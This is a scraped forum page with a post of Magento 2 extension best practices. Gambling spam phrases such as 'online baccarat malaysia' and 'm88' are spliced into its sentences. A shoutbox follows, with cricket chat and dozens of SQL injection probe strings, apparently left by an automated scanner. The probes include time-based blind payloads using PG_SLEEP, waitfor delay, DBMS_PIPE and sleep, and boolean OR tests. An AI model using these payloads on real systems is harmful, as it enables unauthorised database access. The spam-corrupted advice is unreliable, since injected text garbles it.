>

Programming Best Practices

  • sparedes
  • Topic Author
  • Visitor
  • Visitor
16 Jan 2018 22:40 #357842 by sparedes


You should do your best to adhere to common programming best practices to reduce the amount of bugs and improve the quality and maintainability of your extensions. The following list of best practices addresses commonly reported issues found in third party extensions.

Follow a set of coding standards

Coding standards are a set of guidelines that describe how code should be written. These standards define coding practices that determine the style of the code. Whether you are a solo developer or part of a team, following a set of coding standards will help make your code consistent and maintainable.

Magento’s Coding Standards are based on the following:
• Zend Coding standards
• PSR2
• PSR4
W88

To help you stick to coding standards, we recommend using the customer service m88 tool.

Write and utilize re-usable code

Avoid using redundant or duplicate code, which can be hard to maintain. Instead of copying and pasting the same code throughout application, create a single class or method and reference it when needed. As a general rule of thumb, be sure to reuse code as much as possible to save yourself from the online baccarat malaysia costs of duplication.

The code you write should be small, focused, and provides a generic solution. This will let you re-use these pieces again in future development.

Design your code to be replaceable
Designing and writing your code to be replaceable is just as important as making it re-usable. Having a replaceable design means your code is modular and loosely coupled, therefore allowing easy updates and improvements in the future.
It is common practice to replace parts of your codebase with newer and better pieces as bugs are found or newer strategies become available. Writing replaceable code in your codebase makes this practice easier and more efficient.

Avoid creating helper classes
Helper or utility classes are classes filled with static methods that do not quite fit anywhere else. These classes are considered an antipattern and go against the principles of object oriented programming. If you have ClassA and a ClassAHelper with static functions that work on ClassA, you should consider refactoring those functions into ClassA.

A helper class that functions as a catch-all for random methods breaks the single responsibility principle because it is an attempt to solve multiple problems in a single class. You should refactor your code and move those functions into the appropriate classes they work on.

Be consistent with case and naming conventions
You should be consistent in your naming conventions for files, folder names, Classes, and Methods. Following standard conventions will make your code look professional and easy to read.

Not following this practice is a code standards violation and impacts your extension’s readability and maintainability.

Composition over inheritance
Class inheritance is the object-oriented programming concept that allows code reuse and extending of the behavior of a base class. This was favored for Magento 1 development.

Object composition is the programming concept of combining class objects and data types to create a more complex class. The classes and data types are used together to produce a desired functionality.

For Magento 2 extension development, we encourage the use of object composition over class inheritance. Using composition over inheritance makes your extension easier to maintain when class changes occur and update when new features need to be implemented.

Please Log in or Create an account to join the conversation.

Time to create page: 0.179 seconds
ketchimGot Florida Hass theodday from my buddy visiting here !(22.01.2026, 19:37)(19:37)0
ketchimICC tell Bangladseh they will be REPLACED !(22.01.2026, 19:17)(19:17)0
MaleahGuyanese people in Florida can't just go and catch a dozen or two dozen HASSA; they have to catch over 5 million.
This is called Greed
(07.01.2026, 13:14)(13:14)1
MaleahNow that Joe Root has 2 centuries in Australia, I assume those Australian fans, who said he couldn’t be classed as great unless he achieved that, will now say he is?? Given that the great Steve Smith has never scored a test ton in Pakistan….(05.01.2026, 12:31)(12:31)0
MaleahThe Bangladesh Cricket Board has formally asked the ICC to move all of Bangladesh’s matches out of India, citing safety and security concerns.

#T20WorldCup
(04.01.2026, 14:18)(14:18)0
Gwen20(03.01.2026, 13:42)(13:42)0
Gwen(select 198766*667891 from DUAL)(03.01.2026, 13:42)(13:42)0
Gwen(select 198766*667891)(03.01.2026, 13:42)(13:42)0
Gwen@@iBQ3X(03.01.2026, 13:42)(13:42)0
Gwen20'"(03.01.2026, 13:42)(13:42)0
Gwen20(03.01.2026, 13:42)(13:42)0
Gwen20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'(03.01.2026, 13:42)(13:42)0
Johan20(03.01.2026, 13:42)(13:42)0
Gwen20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)(03.01.2026, 13:41)(13:41)0
Gwen20F4owsBb6')) OR 756=(SELECT 756 FROM PG_SLEEP(15))--(03.01.2026, 13:41)(13:41)0
Gwen20axQfaI3h') OR 505=(SELECT 505 FROM PG_SLEEP(15))--(03.01.2026, 13:40)(13:40)0
Gwen20GCVWFMgw' OR 960=(SELECT 960 FROM PG_SLEEP(15))--(03.01.2026, 13:40)(13:40)0
Gwen20-1)) OR 426=(SELECT 426 FROM PG_SLEEP(15))--(03.01.2026, 13:39)(13:39)0
Gwen20-1) OR 573=(SELECT 573 FROM PG_SLEEP(15))--(03.01.2026, 13:39)(13:39)0
Gwen20-1 OR 604=(SELECT 604 FROM PG_SLEEP(15))--(03.01.2026, 13:38)(13:38)0
Gwen20ZWzru47i'; waitfor delay '0:0:15' --(03.01.2026, 13:38)(13:38)0
Gwen20-1 waitfor delay '0:0:15' --(03.01.2026, 13:38)(13:38)0
Gwen20-1); waitfor delay '0:0:15' --(03.01.2026, 13:37)(13:37)0
Gwen20-1; waitfor delay '0:0:15' --(03.01.2026, 13:36)(13:36)0
Gwen(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/(03.01.2026, 13:36)(13:36)0
Gwen200"XOR(20*if(now()=sysdate(),sleep(15),0))XOR"Z(03.01.2026, 13:36)(13:36)0
Gwen200'XOR(20*if(now()=sysdate(),sleep(15),0))XOR'Z(03.01.2026, 13:35)(13:35)0
Gwen20*if(now()=sysdate(),sleep(15),0)(03.01.2026, 13:35)(13:35)0
Gwen-1" OR 18=18 or "FwfsM7AR"="(03.01.2026, 13:34)(13:34)0
Gwen-1" OR 3*2<5 or "FwfsM7AR"="(03.01.2026, 13:34)(13:34)0
Gwen-1" OR 5*5=26 or "FwfsM7AR"="(03.01.2026, 13:34)(13:34)0
Gwen-1" OR 5*5=25 or "FwfsM7AR"="(03.01.2026, 13:34)(13:34)0
Gwen-1' OR 641=641 or 'eESQ4mw4'='(03.01.2026, 13:34)(13:34)0
Gwen-1' OR 3*2<5 or 'eESQ4mw4'='(03.01.2026, 13:34)(13:34)0
Gwen-1' OR 5*5=26 or 'eESQ4mw4'='(03.01.2026, 13:34)(13:34)0
Gwen-1' OR 5*5=25 or 'eESQ4mw4'='(03.01.2026, 13:34)(13:34)0
Gwen-1" OR 3*2>5 --(03.01.2026, 13:34)(13:34)0
Gwen-1" OR 3*2>999 --(03.01.2026, 13:34)(13:34)0
Gwen-1" OR 5*5=25 --(03.01.2026, 13:34)(13:34)0
Gwen-1' OR 5*5=26 --(03.01.2026, 13:34)(13:34)0
Gwen-1 OR 3*2>5(03.01.2026, 13:34)(13:34)0
Gwen-1 OR 3*2>999(03.01.2026, 13:34)(13:34)0
Gwen-1 OR 5*5=25(03.01.2026, 13:34)(13:34)0
Gwen-1 OR 3*2>5 --(03.01.2026, 13:34)(13:34)0
Gwen-1 OR 3*2>999 --(03.01.2026, 13:34)(13:34)0
Gwen-1 OR 5*5=25 --(03.01.2026, 13:34)(13:34)0
Gwen20(03.01.2026, 13:34)(13:34)0
Gwen204tYynwAI(03.01.2026, 13:34)(13:34)0
Gwen20(03.01.2026, 12:02)(12:02)0
WalkerKhawaja to retire from international cricket after SCG Ashes finale(02.01.2026, 17:17)(17:17)1
Deandre
Go to top